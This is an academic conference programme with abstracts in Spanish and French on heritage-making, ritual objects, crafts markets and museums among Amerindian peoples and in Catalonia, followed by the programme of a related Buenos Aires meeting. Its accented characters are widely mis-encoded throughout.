ModA�rateur: Jordi TomA�s (Universitat de Barcelona)

 

10h30

  • La presencia humana en la AntA?rtida, siglos XVIII-XX: cultura material y puesta en valor.A�Luis J. Abejez et AndrA�s Zarankin (Universidade Federal de Minas Gerais)

El poblamiento del continente antA?rtico e islas adyacentes ha estado histA?ricamente condicionado por el aislamiento, la difA�cil geografA�a y las extremas condiciones climA?ticas que caracterizan a estos territorios, por lo que la presencia humana es relativamente reciente, de escaso nA?mero y gran temporalidad estacional, ocupando fundamentalmente una estrecha franja de tierra libre de hielos de apenas un kilA?metro entre la costa y el interior.

Las diferentes investigaciones arqueolA?gicas que hasta la fecha se han realizado han proporcionado abundantes restos materiales que dan testimonio de la arribada a partir del siglo XVIII de diversos grupos humanos en busca de nuevos territorios para la caza de mamA�feros marinos (focas, leones marinos, ballenas, etc.) y, posteriormente, para la realizaciA?n de otras empresas y trabajos.

De este modo, cazadores, exploradores y cientA�ficos han ido dejando tras de sA� retazos materiales de su propia historia y de sus actividades que, a modo de rompecabezas, tambiA�n han ido conformando la historia humana de la AntA?rtida.

Desde los inicios de la investigaciA?n histA?rica y arqueolA?gica se han realizado diversas actuaciones para estudiar y poner en valor el patrimonio histA?rico de la AntA?rtida, en particular con la restauraciA?n de algunos de los asentamientos histA?ricos mA?s relevantes relacionados con la exploraciA?n del continente. En las A?ltimas, sin embargo, los estudios se han centrado en la vida cotidiana de los grupos subalternos que protagonizaron las primeras ocupaciones.

Este patrimonio histA?rico, junto con el extraordinario valor ecolA?gico del territorio y la belleza de sus paisajes naturales, dota al continente antA?rtico de un conjunto de notable importancia y de gran potencial como recurso turA�stico, siempre que sean integrados de forma adecuada dada la fragilidad sistA�mica de estos espacios especialmente protegidos.<\div>

 

11h

  • La��invention des objets traditionnels par les nA�o-Incas: la mise en rite du patrimoine.A�Antoinette MoliniA� (CNRS, EREA/LESC)

AprA?s une brA?ve prA�sentation de la variante nA�o-inca du mouvement nA�o-indien, nous examinerons, A� travers la��ethnographie, la spA�cificitA� des artefacts qui contribuent A� la��identifier. Ils sont crA�A�s essentiellement pour des rituels dont nous donnerons la genA?se et la pratique contemporaine. Les objets nA�o-incas se caractA�risent par leur ambivalence originelle, entre le mythe du prestigieux empire inca et le minimalisme des rites indigA?nes quechuas. On analysera le rA?le que jouent les musA�es et les anthropologues dans ces inventions. Par ailleurs ces objets se caractA�risent par une historicitA� particuliA?re, la juxtaposition des cultures remplaA�ant la��hybridation. La��une de leurs caractA�ristiques les plus intA�ressantes est leur recours A� plusieurs niveaux de rA�alitA�, celle de leur condition sociale dans la pratique rA�elle et celle de la reprA�sentation dont ils sont porteurs. Enfin on montrera que les artefacts nA�o-incas, malgrA� leur stabilitA� stylistique, sont vivants et versatiles et qua��ils ont vocation A� la mondialisation par leur utilisation dans les rites new-age.

11h30 Pause

12h

  • La vida de las maracas. Reflexiones sobre un objeto ritual entre los indA�genas PumA� (Venezuela).A�Gemma Orobitg Canal (Universitat de Barcelona)

A partir de la presentaciA?n de algunos episodios de la biografA�a de una maraca y de los vA�nculos que se establecen, en el momento del paso a la edad adulta, entre cada hombre pumA� y su maraca, este texto presenta algunas ideas para pensar las relaciones entre los seres humanos y ciertos objetos. En este caso, se puede hablar de una identidad entre el ser humano y su maraca. Esta equivalencia se basa en la idea pumA� de que el cuerpo es un recipiente vacA�o que debe ser fabricado y cuidado para poder acoger a las esencias vitales que permiten vivir a todos los seres, sean humanos, animales, dioses y espA�ritus, plantas e incluso objetos.

12h30

  • Le hamac maya et sa cordelette de balancement: deux types da��anti-patrimonialisation?A�Valentina Vapnarsky (CNRS, EREA/LESC)

Le Yucatan, rA�putA� pour sa douceur tropicale, A�voque irrA�sistiblement des images de hamacs et de balancements nonchalants. Le hamac est de fait omniprA�sent sur les marchA�s touristiques et les affiches publicitaires de la rA�gion. Le hamac est A�galement et avant tout, A� la��A�chelle locale, un A�lA�ment de mobilier essentiel des maisons des Mayas, qui en sont par ailleurs les principaux fabricants et commerA�ants. Pour autant, la dimension ethnique de cet objet na��est pour ainsi dire jamais mise en avant. Bien que cA�lA�brA� et valorisA�, A�tonnamment, il ne bA�nA�ficie toutefois da��aucune aura en tant qua��A�lA�ment de patrimoine culturel. Par ailleurs, dans le quotidien des Mayas, le hamac est trA?s souvent accompagnA� da��un objet qui lui est indissociable, et sans A�quivalent connu ailleursA�: la cordelette de balancement. Sans nom spA�cifique et rarement A�voquA�e explicitement, celle-ci est pourtant riche de connotations cosmologiques et historiques qui rendent da��autant plus intriguant que si peu da��importance lui soit attachA�e. Pourrait-on voir dans la��anonymisation culturelle du hamac et dans la��indiffA�rence portA�e A� sa cordelette des phA�nomA?nes da��anti-patrimonialisationA�?

13h-13h30

  • Discussion

13h30-16h pause

Session II.

Objetos indA�genas en circulaciA?n: del hogar al mercado y a la polA�tica

ModA�rateur: Gemma Celigueta

16h

  • De la��intime au patrimon(d)ial: parcours da��objets matis (Amazonas, BrA�sil).A�Philippe Erikson (UniversitA� Paris Ouest Nanterre, EREA/LESC)

Avant le contact, les Matis da��Amazonie brA�silienne entretenaient avec certains objets un rapport des plus personnels, voire intimes. ConsidA�rA�s comme de vA�ritables extensions de la personne, et donc difficilement aliA�nables, ces artefacts A�taient de ceux qua��on ne pouvait ni donner, ni prA?ter, ni mA?me, dans certains cas, ne serait-ce que montrer A� autrui. Tel A�tait le cas, par exemple, de leurs colliers, de leurs sarbacanes, de leurs masques ou encore des rA�cipients da��argile dans lesquels se stockent le curare. Or ces objets emblA�matiques des Matis font aujourda��hui la��objet da��un commerce effrA�nA�. Autrefois tenus de par soi, sinon tenus secrets, ils sont dA�sormais filmA�s, exhibA�s, troquA�s et/ou vendus en masse. AdmirA�s et convoitA�s aux quatre coins de la planA?te, ils ont incontestablement gagnA� sur le terrain de la valeur patrimon(d)iale. Mais A� quel prix pour les principaux intA�ressA�sA�? Et avec quel impact sur les idA�es et les reprA�sentations qui entourent les objets en questionA�? Cette contribution se propose da��analyser les modifications entraA�nA�es par ces nouvelles pratiques de patrimonialisation et de marchandisation des anciens secrets, leur incidence sur les discours qui les concernent et la structuration des rituels au cours desquels ils apparaissent.

16:30

  • La commercialisation des ornements rituels chez les SuruA� du RondA?nia (Amazonie brA�silienne): innovations techniques, inventions symboliques et preuves da��authenticitA�.A�CA�dric Yvinec (Fondation Thiers, LAS)

Les ornements, en particulier les colliers, qui sont A�changA�s au cours des rites de boissons A�taient, avant le contact, la principale mesure de la richesse da��un homme et du savoir da��une femme. Ces colliers en noix de palmier tucumA?, A�uvres intA�gralement fA�minine, A�taient alors da��un style assez uniforme et leur valeur na��A�tait estimA�e que par leur classicisme et leur quantitA�. Il A�tait inconcevable de les A�changer autrement que dans ce cadre cA�rA�moniel, contre de la biA?re fermentA�e, et cet A�change A�tait contrA?lA� par les A�poux des fabricantes. Aujourda��hui ces colliers font la��objet da��un commerce effrA�nA�, tant par les A�poux des fabricantes que par les hommes qui les reA�oivent dans un cadre cA�rA�moniel. Avec la��accA?s A� de nouveaux instruments, de nouveaux matA�riaux et A� travers la��apprentissage de nouvelles techniques auprA?s de groupes voisins, le style de ces colliers sa��est largement diversifiA� et la��inventivitA� a A�tA� valorisA�e, au moins au sein du groupe. En effet, A� la��extA�rieur du groupe, un mouvement inverse est rA�cemment apparu, en raison de la concurrence sur le marchA� de la��authenticitA� indienneA�: il sa��agit dA�sormais de montrer que ces objets sont A�A�purement indiensA�A� et na��intA?grent que des A�A�produits naturelsA�A�. Or ces diffA�rentes techniques sont inA�galement maA�trisA�es par les diffA�rentes gA�nA�rations de productrices, et ces esthA�tiques divergentes diversement apprA�ciA�es par les hommes et les femmes, enjeux symboliques et A�conomiques qua��on essaiera da��analyser dans cette prA�sentation.

17h

  • Textiles mapuche: A?artesanA�a, patrimonio o mercancA�a global?A�MA?nica MartA�nez Mauri (Universitat de Barcelona), Dina Guarda y Fabien Le Bonniec (Universidad CatA?lica de Chile)

En esta ponencia partimos de la premisa que el capitalismo no avanza eliminando las culturas tradicionales sino que lo hace apropiA?ndose de ellas, reestructurA?ndolas, reorganizando sus significados y la funciA?n de sus objetos, creencias y prA?cticas (GarcA�a Canclini, 1982: 18). En este proceso de cambio, el turismo y las polA�ticas estatales a favor del desarrollo siguen siendo instrumentos claves y las clases dominantes de muchos paA�ses operan un proceso de reducciA?n de lo A�tnico a lo tA�pico. En Chile, muchos son los ejemplos que dan fe de estas dinA?micas. Muestra de ello es el nombre elegido por la entidad que comercializa a gran escala, sin fines de lucro, las artesanA�as tradicionales producidas por los pueblos indA�genas del paA�s: FundaciA?n artesanA�as de Chile.

En este contexto, la producciA?n artesanal a��a pequeA�a escala, hecha a mano, fiel a una tradiciA?n historizada, asociada a un territorio y a sus recursosa�� adquiere la connotaciA?n de autenticidad. Esta producciA?n no se opone al capitalismo, sino que le ofrece productos autA�nticos de consumo y distinciA?n social (FrigolA�, 2014: 44). Desde esta perspectiva tenemos que entender algunos emprendimientos indA�genas y no indA�genas que utilizan productos artesanales para dar mA?s valor de cambio a sus productos. En los Estados Unidos tal es por ejemplo el caso de la firma VOZ, quien desde hace cuatro aA�os produce prendas de alta costura con textiles confeccionados por mujeres mapuches con telar y lana de alpaca.

En esta ponencia, por un lado, queremos reflexionar sobre la inserciA?n de algunos objetos indA�genas, concretamente los textiles confeccionados con telar por las mujeres mapuche, en el mercado global. Por otro lado, nos proponemos abordar la reconceptualizaciA?n en el A?mbito nacional de estos objetos como patrimonio, artesanA�a y mercancA�a, considerando las polA�ticas pA?blicas encaminadas a promover el a�?desarrollo con identidada�? y favorecer el emprendimiento indA�gena.

17h30

  • Agents culturels et objets-ambassadeurs: les artefacts de la��amate et la production da��une auto-image.A�Aline HA�mon (UniversitA� de Picardie-Jules Verne)

Dans cette communication, je propose de me centrer sur la place des objets matA�riels qui participent de ce que je nomme la A�A�Galaxie amateA�A�A�: peintures sur papier da��A�corce, objets en bois sculptA�s et peints, masques, tous associA�s au style graphique caractA�ristique de la��amate. Ils racontentA�: A�A�notre vie, notre travail, ce que nous sommesA�A� pour les populations nahuaphones du Guerrero, dans le Sud-Ouest mexicain. La��idA�e serait da��approfondir les formes da��agentivitA� et da��intentionnalitA� du binA?me graphisme/objets. Ces artefacts dA�corA�s sont considA�rA�s comme des A�A�ambassadeurs de soi-mA?meA�A� lorsqua��ils sont destinA�s A� une vente extA�rieure ou qua��ils signifient par lien mA�tonymique les populations productrices. Sur un autre plan, les processus de production interne, dans les ateliers familiaux, sont fortement valorisA�s et ont fait la��objet da��appropriations genrA�es, par communautA�s villageoises au sein de la rA�gion productrice. Les peintures ont A�galement fait la��objet da��un processus de patrimonialisation au moment da��actions A�A�A�cologiquesA�A� et deA�conflits politiques.

18h

  • Discussion

5 febrero 2016

Session III

Patrimonio y memoria: objetos en movimiento

ModA�rateur: Montserrat Clua (Universitat AutA?noma de Barcelona)

10h

  • Los coleccionistas, un elemento de investigaciA?n y mantenimiento del patrimonio.A�Jordi GoA�i (AsociaciA?n para la PromociA?n del Coleccionismo de Barcelona)

Esta ponencia quiere manifestar el papel que tienen los coleccionistas y el movimiento asociativo que existe a su alrededor, que procura la conservaciA?n de los objetos en nuestra sociedad.

Los coleccionistas recogen objetos por varias razones y al mismo tiempo con ellos pueden hacer varias cosas: guardarlos, exponerlos, documentarlos, pero lo mA?s importante es su conservaciA?n.

Los coleccionistas al momento de organizar un conjunto de objetos acostumbran a disponer de informaciA?n de cuando se ha hecho el objeto (la mayorA�a de veces), cuA?l era su finalidad, procedencia geogrA?fica. Esta informaciA?n podrA? servir para hacer una cronologA�a y evoluciA?n de las piezas que disponen.

Podemos destacar que el mundo del coleccionismo tiene muchos aspectos y uno de ellos muy importante es la capacidad adquisitiva del coleccionista ya que permitirA? tener fA?cil acceso a piezas de un precio elevado, la gran mayorA�a de personas no tiene esa posibilidad. Nuestra asociaciA?n de coleccionistas quiere incidir en lo que llamamos coleccionismo popular.

El coleccionismo popular es aquel de fA?cil acceso econA?mico y con facilidad para encontrar objetos para ampliar la colecciA?n. Ya que el coleccionismo que necesita un poder adquisitivo elevado para obtener piezas, no es accesible a la mayorA�a de la poblaciA?n: como el de obras de arte, maquinaria, vehA�culos o piezas de gran volumen.

Normalmente el coleccionismo no es un hecho aislado existen diversas asociaciones o clubes que ofrecen servicios y contactos a los coleccionistas. Esto permite ampliar las colecciones y disponer de un espacio para hacer intercambios de informaciA?n.

Las nuevas tecnologA�as han permitido que se puedan guardar muchas imA?genes de objetos en poco espacio y con mucha calidad. Los coleccionistas disponen de muchos espacios diferentes en las redes sociales, de esta manera consiguen contactos y ampliar las colecciones.

Para terminar nos gustarA�a que el mundo del coleccionismo estuviera mA?s en contacto con el mundo de los museos pues tenemos intereses comunes en la conservaciA?n del patrimonio.

10h30

  • La catalogaciA?n a travA�s de la conservaciA?n y restauraciA?n de los artefactos como instrumento de conocimiento del territorio ebrense.A�LluA?sa GenA� Rebull (Escola da��Art i Disseny de la DiputaciA? de Tarragona a Tortosa)

Desde el aA�o 2010 desempeA�o de profesora de restauraciA?n en la Escuela de Arte y DiseA�o de la DiputaciA?n en Tortosa. Un centro de enseA�anza especializado en el territorio. Los cursos que damos no se consideran estudios reglados, por tanto, tenemos alumnos en edades comprendidas entre los 14 aA�os hasta los 86. Y su interA�s es aprender por el hecho de disfrutar en el proceso de aprendizaje. Mi tarea es enseA�ar a conservar y restaurar los bienes muebles. Tenemos toda una amalgama de objetos que componen la colecciA?n particular de cada uno de los alumnos que vienen al centro.

El proceso de investigaciA?n que he ido realizando estos aA�os, ha sido el inventario y la catalogaciA?n (Agudo 1999) de los objetos aportados por los alumnos. Tenemos registrados mA?s de mil objetos catalogados, inventariados y restaurados. Muchas veces nos encontramos con objetos que hay que recuperar la memoria oral de su uso. Son artefactos (Gell 1998) que han estado siempre por casa de los alumnos y desconocemos su finalidad. La mayorA�a de los alumnos, un 98% son de Tierras del Ebro, por lo tanto los objetos estA?n relacionados en el territorio.

Cada curso, he ido recogiendo la informaciA?n de cada uno de los objetos que los alumnos han ido llevando. Ellos han hecho el aprendizaje prA?ctico del proceso de conservaciA?n y restauraciA?n de la pieza.

Durante el proceso de aprendizaje conseguimos conocer y valorar estos objetos, no por la riqueza del material que los conforman, sino por el significado del uso y todas las extensiones que ello conlleva.

La mayorA�a de alumnos son gente mayor, adulta, por tanto, hay unos conocimientos orales que todavA�a no hemos perdido. Y estos conocimientos recaen en el valor del objeto, la relevancia de su uso y las ventajas que la acompaA�an.

Donde vamos a parar en este proceso: a un conocimiento mA?s A�ntegro del objeto, una catalogaciA?n, un inventario, una conservaciA?n y restauraciA?n del mismo. AsA� se garantiza la toma de conciencia de la conservaciA?n del patrimonio privado, a pesar de no ser considerado un objeto de valor artA�stico y cultural.

La gente de Tierras del Ebro, zona que ha confluido diversas culturas, ha tenido una evoluciA?n tanto en su territorio, como en las costumbres y los sistemas de trabajo de la tierra y del rA�o, que los hace diferentes del resto de CataluA�a . Por eso considero relevante hacer: una catalogaciA?n y un inventario, de estos objetos con el fin de tener una referencia palpable del territorio (Alves 2008).

En esta investigaciA?n quiero explicar la importancia de tomar conciencia del objeto-artefacto. El alumnado no es consciente de la relevancia y significaciA?n del objeto que hace uso de manera cotidiana.

11h

  • De la patrimonializaciA?n de la cultura a la exposiciA?n de los objetos del propio pasado.A�Meritxell Sucarrat (Universitat de Barcelona)

El objetivo de esta ponencia es mostrar cA?mo la creaciA?n de nuevas relaciones significativas entre elementos del pasado que legitimen la construcciA?n de una nueva visiA?n del pasado y la patrimonializaciA?n de la cultura se acompaA�a de la reapropiaciA?n de los objetos, patrimonio de las casas, por parte de la poblaciA?n para obtener un beneficio econA?mico de los mismos y asegurar la continuidad de las casas en el tiempo.

En este proceso se observa que la identidad y posiciA?n de las casas dependen de la capacidad de sus miembros para dotar con un nuevo significado el patrimonio familiar transmitido de generaciA?n en generaciA?n. En la actualidad, esto significa que algunos de los objetos que se han conservado llegan a adquirir un nuevo valor y uso en la medida en que su presencia se legitima como prueba de la trayectoria de las casas en el contexto socio-histA?rico local, y como testimonio de la visiA?n del pasado que se crea desde el exterior para la patrimonializaciA?n de la cultura. Lo que pone de manifiesto que el significado de los objetos (patrimonio) es un proceso en construcciA?n que se inscribe en la articulaciA?n de distintas visiones del pasado, y que la importancia de su posesiA?n radica en su capacidad para ser el soporte material que representa simbA?licamente la identidad de las casas y sus miembros en distintos contextos econA?micos.

Para ejemplificar la relaciA?n entre el cambio de significado de los objetos y la a�?reproducciA?na�? de un orden social se va a hacer referencia a las estrategias de una casa rica que consigue abrir al pA?blico un espacio museA�stico donde se exhiben objetos que prueban su pujanza en la A�poca de las fraguas, en el contexto de la reciA�n inaugurada Feria del Hierro. Esto ha de permitir identificar la estructura simbA?lica que dota de sentido la reinterpretaciA?n del pasado y el presente por parte de la poblaciA?n y tA�cnicos expertos para legitimar la satisfacciA?n de sus intereses.

Este caso se inscribe en el proceso de patrimonializaciA?n de recursos autA?ctonos e ilustra la terciarizaciA?n de la economA�a en un valle del Pirineo catalA?n, favorecida por la creaciA?n de un parque natural a principios de la dA�cada del 2000, para su conversiA?n en destino turA�stico. El valle que continA?a perdiendo poblaciA?n desde mediados del siglo pasado, cuenta con 152 habitantes repartidos en cuatro nA?cleos de poblaciA?n.

11h30 Pausa

12h

  • Campanas y sus artefactos. Conjuntos patrimoniales.A�Eliseo MartA�nez Roig

Es una realidad la puesta en marcha de medidas para la conservaciA?n del componenteA�inmaterial de las campanas, sus toques, considerados un lenguaje local realmente A?til para la vida comunitaria desde antaA�o y un elemento mA?s en nuestro paisaje sonoro actual. La vinculaciA?n del pasado con el presente a travA�s de la mA?sica de las campanas viene reforzada por ser el instrumento musical que no cambia su nota, siendo asA� un nexo con aquella mA?sica que escuchaban e interpretaban nuestros antepasados y que ha llegado hasta nosotros. Un elemento cultural que permanece a la vez que supone una mA?sica efA�mera.

La realidad actual nos lleva a considerar procesos de patrimonializaciA?n en muchas comunidades, por parte de las administraciones pA?blicas encargadas de cultura y patrimonio, con el fin de conservar, mantener, restaurar y difundir el patrimonio campanero, en alto riesgo de desapariciA?n en numerosos casos.

Dentro de estos procesos de patrimonializaciA?n, deberA�an de tenerse en cuenta los aspectos inmateriales, es decir, el uso real de las campanas, que es su taA�er. Pero para ello vemos necesario el proceso de recuperaciA?n de todos y cada uno de los artefactos auxiliares que corresponden a cada campana o conjuntos de campanas. No podemos entender la separaciA?n entre el aspecto material al inmaterial de las campanas y sus toques, ya que uno influye en el otro. En estos elementos materiales, estos objetos, recae sin duda la valorizaciA?n de los procesos de construcciA?n, muchas veces por artesanos locales, con tA�cnicas propias y caracterA�sticas, lo que les otorgan un valor y un merecido a�?trato culturala�?, ya que tambiA�n definen los usos de los instrumentos.

Por todo ello, proponemos y defendemos una mayor implicaciA?n de perspectiva patrimonial en la gestiA?n de las campanas y sus restauraciones, creyendo que el conjunto (campana, instalaciA?n, toque) responde a los valores originales del instrumento y se considera como elemento cultural etnolA?gico completo, incluyendo los artefactos caracterA�sticos en cada caso particular. La no generalizaciA?n de instalaciones refuerza el sentido del patrimonio, que no es otro que el de vincular a la sociedad con el territorio, con el espacio y tiempo, con la identidad de espacio cultural.

Finalmente considero que la valoraciA?n de estos objetos, o como han sido creados y su uso, es el inicio de todo un proceso de investigaciA?n que permite conocer de manera mA?s profunda el territorio. Punto de partida de los cambios o modificaciones internas o externas del objeto (Gell 1998).

12:30

  • En busca de un a�?estilo tradicionala��: arquitectura y procesos de patrimonializaciA?n en un valle del Prepirineo catalA?n.A�Camila del MA?rmol CartaA�A? (Universitat de Barcelona)

En este trabajo me intereso por la construcciA?n y restauraciA?n de casas, en su materialidad y, especA�ficamente, en las relaciones entre los procesos arquitectA?nicos y la patrimonializaciA?n en el Prepirineo catalA?n. Mi anA?lisis se centra en cA?mo las formas arquitectA?nicas, normativas y regulaciones, asA� como la estA�tica de los edificios y los materiales mismos, se han ido transformando en las A?ltimas dA�cadas siguiendo un proceso paralelo de cambios en el territorio. Mi intenciA?n es explorar las relaciones entre el medio construido y las transformaciones culturales y econA?micas de la zona. A partir de un trabajo de campo de larga duraciA?n en el valle de La Vansa i Tuixent, mi intenciA?n es mostrar cA?mo la cultura material, la arquitectura y en general el medio construido, han evolucionado en estrecha relaciA?n con la expansiA?n de discursos de patrimonializaciA?n dando lugar a una asociaciA?n mutuamente constituyente que nos ayuda a delinear elementos clave de las nuevas realidades sociales.

De esta manera, me interesa explorar la redefiniciA?n que ha sufrido la arquitectura pirenaica en las A?ltimas dA�cadas y sus implicaciones en la redefiniciA?n de la sociedad local. Teniendo en cuenta las relaciones recA�procas entre las personas y la cultura material (Miller, 1987) asA� como la idea de una arquitectura entendida en clave social (Vellinga, 2007; Buchli, 2013), la idea es ir mA?s allA? de las visiones dualistas sobre la determinaciA?n social del mundo material para acercarnos a un enfoque que nos ayude a iluminar las interrelaciones que se establecen en cada proceso constructivo. Las actividades y prA?cticas constructivas, asA� como los discursos asociados, nos ofrecen un escenario material en el cual los individuos exploran y llevan a la prA?ctica su manera de entender el territorio en el sentido de medio vivido. Como veremos, la bA?squeda de materiales autA�nticos y autA?ctonos, asA� como de formas tradicionales, funcionan como una experiencia compleja en la que el medio es representado y definido, pero a la vez se presenta en toda su materialidad para configurar la apariencia del medio construido. AsA�, la arquitectura se convierte en un A?mbito en el que las personas repiensan la naturaleza, el medio vivido y la identidad social del territorio y de sus habitantes.

13h

  • Artefactos de la movilidad: exhibiciA?n patrimonial en el Museu da��HistA?ria de la ImmigraciA? de Catalunya.A�Gabriel Izard (Universitat de Barcelona)

El patrimonio cultural, entendido como legado, como herencia, como tradiciA?n, suele ser relacionado con contextos culturales arraigados, localizados; y en consecuencia la exhibiciA?n museA�stica de este patrimonio ha establecido tradicionalmente un discurso de vinculaciA?n con las raA�ces y el lugar. A?Pero quA� ocurre cuando se exhiben los objetos o artefactos de la migraciA?n, del viaje, del desplazamiento? El objetivo de esta ponencia es reflexionar sobre las polA�ticas expositivas y el discurso museolA?gico del Museu da��HistA?ria de la ImmigraciA? de Catalunya (MHIC) de Sant AdriA� del BesA?s, donde un conjunto de piezas (desde un vagA?n de tren hasta un permiso de residencia, pasando per utensilios de cocina y cartas personales) y otros mecanismos de comunicaciA?n (fragmentos de textos acadA�micos y documentos, vA�deos, fotografA�as, mapas temA?ticos) pretenden mostrar al pA?blico el legado de las de comunidades diaspA?ricas de CataluA�a, tanto las de otras partes de EspaA�a como del mundo, y evocar la idea de las culturas en movimiento.

Por otra parte, hay que remarcar que, a pesar ser un museo de la movilidad, el MHIC estA? completamente vinculado al lugar concreto en el que se ubica: Sant AdriA� del BesA?s, ciudad del cinturA?n industrial de Barcelona que ha acogido desde mediados del siglo XX millares de personas que buscaban y buscan una vida mejor, es una poblaciA?n donde la memoria inmigrante es fundamental. Al fin y al cabo, la preservaciA?n y difusiA?n de esta memoria es el objetivo principal de una instituciA?n adherida a la Red de Espacios de Memoria del Memorial DemocrA?tico de CataluA�a.

13h30

  • DA�batsA�et conclusions

A�Organisation

MA?nica MartA�nez Mauri (EtnoMat), Tomas, Jordi (Universitat de Barcelona) et CA�dric Yvinec (Fondation Thiers, LAS)

A�Institutions organisatricesA�:

Encuentro Fabriqa��Am (ParA�s, ANR) – ETNOMAT (Universitat de Barcelona, Acciones de dinamizaciA?n Redes de Excelencia MEC)

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Jornadas internacionales FABRIQ’AM (07-08/12/2015): « Tiempos y fabricas del patrimonio », Buenos Aires

Jornadas internacionales FABRIQ’AM

A�7 y 8 de diciembre de 2015

Tiempos y fabricas del patrimonioA�en la sociedades amerindias

A�FundaciA?n Instituto de Estudios Budistas

Buenos Aires, Argentina

Organizadores

Argentina: Pablo Cruz y Florencia Tola

Francia: Laurence Charlier y Valentina Vapnarsky

Contacto: Pablo Cruz,A�saxrapablo@gmail.com yA�Florencia Carmen TolaA�tolatoba2015@gmail.com

 

Instituciones organizadoras

Proyecto FABRIQa��AM, ANR (Agence Nationale pour la Recherche, Francia), Centre EREA (Enseignement et Recherche en Ethnologie AmA�rindienne) del Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre) y Mondes AmA�ricains (CNRS y EHESS), CONICET.

FundamentaciA?n

La patrimonializaciA?nA�de elementos culturales se ha vuelto, desde hace varios aA�os, uno de los medios por los cuales les grupos indA�genas buscan una visibilidad y un reconocimiento en un paisaje social y polA�tico marcado en la mayorA�a de los paA�ses latinoamericanos contemporA?neos por un (supuesto) compromiso con la valorizaciA?n de la diversidad cultural. Si bien los fenA?menos de parimonializaciA?n han sido ampliamente estudiados en varias partes del mundo, en los espacios meso y sudamericanos y, especialmente, en las sociedades indA�genas de las tierras bajas aA?n queda mucho por ahondar. En dichas sociedades, las concepciones de lo que se debe conservar o abandonar, recordar o olvidar, los modos de transmisiA?n de conocimientos y saberes, asA� como los regA�menes de historicidad parecen a menudo ir en contra de los presupuestos que conlleva la nociA?n de patrimonializaciA?n tal como es entendida en el mundo eurocentrado. Asimismo, como consecuencia de mediaciones y formas de inculcaciA?n de esquemas culturales formulados fuera de las sociedades amerindias, A�stas transforman algunas de sus prA?cticas en nuevas formas mA?s objetivables para el mundo no-indA�gena; formas que participan de modalidades inA�ditas de transmisiA?n para las nuevas generaciones.

Las formas de transmisiA?n de la memoria de los pueblos indA�genas tienen una doble dimensiA?n. Por un lado, se construyen segA?n una matriz cultural y social que les es propia. Por otro lado, en el marco de un mundo hasta cierto punto globalizado, se ven ahora mobilizadas en tanto recurso destinado a reforzar identidades colectivas o a crear nuevas formas de etnicidad. El anA?lisis de la variedad de configuraciones patrimoniales que se observan en las prA?cticas actuales de las sociedades amerindias requiere entender dichas formas de acomodaciA?n asA� como las transformaciones culturales que conllevan, asA� como tambiA�n dilucidar las diversas maneras en que los sujetos se han reapropiado de un derecho a construir un discurso sobre su propia cultura.

Estas temA?ticas son el objeto de investigaciA?n del proyecto FABRIQa��AM – La fabrique des a�?patrimoinesa�?: MA�moires, savoirs et politique en AmA�rique indienne aujourda��hui (http://fabriqam.hypotheses.org/). En el marco de FABRIQa��AM estas temA?ticas fueron estudiadas en mA?s de veinte sociedades indA�genas. Con el fin de reforzar colaboraciones cientA�ficas existentes entre investigadores de Francia y Argentina, el encuentro que tendrA? lugar en Buenos Aires se propone reunir antropA?logos argentinos y franceses, especialistas de pueblos indA�genas americanos.

El encuentro tendrA? como principal enfoque los regA�menes de temporalidad, historicidad y transmisiA?n. Comprender las formas actuales de la a�?fA?bricaa�?A�del patrimonio, en tanto procesos a la vez emergentes e inscritos en el seno de las lA?gicas culturales, implica una comprensiA?n detallada de los conceptos relativos a la temporalidad, a la historia, a la transmisiA?n y a lo que se transmite en una cultura o sociedad dada.A�A?CA?mo esas concepciones configuran y son configuradas por los nuevos procesos de patrimonializaciA?n?A�Estas cuestiones serA?n analizadas a partir de una variedad de prA?cticas: desde las que conciernen los objetos y sus destinos, hasta aquellas relacionadas con la utilizaciA?n de espacios cotidianos o memoriales; desde las discursivas (que sean narrativas, rituales, polA�ticasa��), hasta aquellas que tratan la adopciA?n de nuevas formas de expresiA?n, como escritas, fA�lmicas u otras. El objetivo del encuentro es captar la variedad de estrategias desarrolladas por las sociedades amerindias frente a los cambios culturales, y reflexionar de modo comparativo sobre los esquemas de elaboraciA?n de la historia y de la conceptualizaciA?n de la acciA?n en dichas sociedades y sus variaciones segA?n los contextos.

Asimismo, el encuentro se propone reflexionar acerca de quA� significa a�?producir patrimonioa�? y a�?dar a ver su culturaa�? a travA�s de la exposiciA?n en museos, o de la transformaciA?n de elementos culturales en espectA?culo en donde se convierten en imagen o son expresados en escritos, fabricA?ndolos en a�?sitio de memoriaa�? o en monumentos de naturaleza diversa. Estos procesos no son sA?lo lugares de construcciA?n cultural, sino que implican tambiA�n una lA?gica del sA� mismo y del otro; formas de objetivaciA?n y puestas en escena de la cultura. Nos preguntamos A?cA?mo los actores indA�genas han, en un momento dado, pensado ciertos rasgos culturales como un a�?patrimonioa�? y producido una imagen de sA� mismo utilizada en las relaciones con los otros grupos indA�genas y en las relaciones con los no-indios? Se analizarA?n los efectos de estas operaciones sobre la cultura de colectivos que son, a la vez, agentes y objetos; y la manera en que estas operaciones contribuyen a remodelar las relaciones sociales en el seno de los grupos concernidos, pero tambiA�n entre A�stos y su exterior: las comunidades indA�genas y sus representantes, las instituciones que validan el estatus patrimonial y, de una manera u otra, proceden del Estado o dependen de nuevos espacios globales, y un conjunto de mediadores a��entre ellos, los investigadores en el terreno.

Programa

7 de diciembre

10h/13h

RegA�menes de historicidad y territorio en el Chaco argentino.A�Florencia Tola, Investigadora CONICET (PIP 0612), docente Universidad de Buenos Aires.

Las moradas del tiempo: piedras, espA�ritus y patrimonio entre los mayas yucatecos. Valentina Vapnarsky, Investigadora CNRS, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre).

Sitios de memoria virtuales: los pueblos abandonados en el imaginario, la etnogA�nesis y la escatologA�a de los Chacobos de Amazonia boliviana.A�Philippe Erikson, Profesor, Universidad de Paris Ouest Nanterre, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre).

Almuerzo

14h30/17h30

A?Huellas de A�A�malemortsA�A� o lugar de nostalgia? SantificaciA?n y/o patrimonializaciA?n de un pueblo negro destruido (ChocA?, Colombia). Anne Marie Losoncsy, profesora, EPHE, Mondes AmA�ricains-Cerma (CNRS y EHESS).

Tres perspectivas de mayores yurakarA� sobre la a�?vida que cambiaa�? y el a�?proceso de cambioa�?.A�Vincent Hirtzel, Investigador CNRS, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre)

